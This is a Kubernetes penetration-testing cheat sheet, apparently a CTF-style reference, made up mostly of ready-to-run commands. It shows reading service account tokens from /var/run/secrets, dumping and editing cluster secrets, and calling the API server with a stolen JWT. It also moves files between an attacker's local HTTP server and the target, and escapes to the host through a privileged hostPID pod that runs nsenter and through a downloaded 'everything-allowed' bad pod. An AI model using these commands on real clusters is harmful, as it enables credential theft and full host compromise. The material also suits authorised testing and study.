Kubernetes Pentesting
Last modified: 2024-12-24
A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.
Check if the Kubectl Command Available in Target Machine
kubectl -h
k0s -h
k0s kubectl -h
microk8s kubectl -h
If we cannot find kubectl, upload the binary from local machine.
First off, install the kubectl in local machine.
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python3 -m http.server
Then download the binary file into remote machine.
wget http://<local-ip>:8000/kubectl -O /tmp/kubectl
chmod +x /tmp/kubectl
Investigation From Inside
# JWT token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# if we find the token, decode it in https://jwt.io/
# Sensitinve information
ls -a /var/lib/k0s/containerd/
# All information
kubectl get all
# Permissions
kubectl auth can-i --list
# /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=<JWT>
# Roles
kubectl get rolebindings -n <namespace>
kubectl describe <bind_name> -n <namespace>
kubectl describe role <role_name> -n <namespace>
# Pods
kubectl get pods
# -A: List all pods across all namespaces
kubectl get pods -A
# Get the detail information abou the pod
# -o: Output format
kubectl get pod <pod-name> -o yaml
# Specify the namespace
kubectl get pod <pod-name> -n <namespace> -o yaml
# Get detailed information
kubectl describe pods <pod-name>
kubectl describe pod -n <namespace>
# ClusterRole information
kubectl describe clusterrole <role-name>
# ClusterRoleBinding information
kubectl describe clustrrolebinding <role-name>
# Services
kubectl get svc
# Jobs
kubectl get job -n <namespace>
# -o: Output details
kubectl get job -n <namespace> -o json
# Secrets
kubectl get secrets
kubectl get secrets -n <namespace>
# Get the specific secret
kubectl get secret <secret-name> -o json
kubectl get secret <secret-name> -n <namespace> -o json
# Edit the secret
kubectl edit secret <secret-name>
kubectl edit secret <secret-name> -n <namespace>
# List all data contained in the specific secret
kubectl describe secret <secret-name>
kubectl describe secret <secret-name> -n <namespace>
# ServiceAccounts
kubectl get serviceaccount
kubectl get serviceaccount -n <namespace>
# Create a ServiceAccount
kubectl create serviceaccount api-explorer
# Bind the ClusterRole to a ServiceAccount
# eg. namespace: default
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer
Investigation via Kubernetes API Server
If we get the JWT, we can fetch information by the following commans.
# -k: insecure (HTTPS)
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/pods/
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/secrets/
Privilege Escalation (Escape) using the Container Image
1. Get Information About the Target Pod
kubectl get pods
kubectl get pod <target-pod> -o yaml
kubectl describe pod <target-pod>
In the output, check the image name in the containers image.
2. Create a Pod Yaml File
Create "pod.yaml".
Replace the containers image value (<image_name>) with the one we found in the previous section.
spec:
hostPID: true
containers:
- name: '1'
image: <image_name>
command:
- nsenter
- '--mount=/proc/1/ns/mnt'
- '--'
- /bin/bash
stdin: true
tty: true
securityContext:
privileged: true
After that, convert the YAML to JSON using online tools such as the Online Converter.
In the tool, check the “Minimize JSON” to make the json to the one line.
3. Run the New Container to Privilege Escalation
Replace with <image_name> with the one we found in the previous section.
kubectl run testbox --restart Never -it --rm --image newimage --overrides '{"spec":{"hostPID":true,"containers":[{"name":"1","image":"<image_name>","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"securityContext":{"privileged":true}}]}}'
Now we should escape the container and get a target shell.
Privilege Escalation using Bad Pods
Reference: everything-allowed-exec-pod.yaml
1. Download the Bad Pod
At first, you need to download the bad pod on your local machine.
wget https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml -O privesc.yaml
After downloading the yaml file, we need to replace the value of metadata.containers.image with the existing container image that we can find in the target container.
Then start web server to allow the target machine to get this bad pod.
python3 -m http.server 8000
2. Trasfer the Bad Pod to the Target Machine
On the target machine, download the bad pod from your local machine.
wget http://<your-local-ip>:8000/privesc.yaml
3. Create the Pod
# Create the pod
kubectl apply -f privesc.yaml --token=<JWT>
# List all pods
kubectl get pods --token=<JWT>
4. Get a Shell**
kubectl exec -it everything-allowed-exec-pod --token=<JWT> -- /bin/bash
We should get a shell and can investigate the mounted folder.
cd /host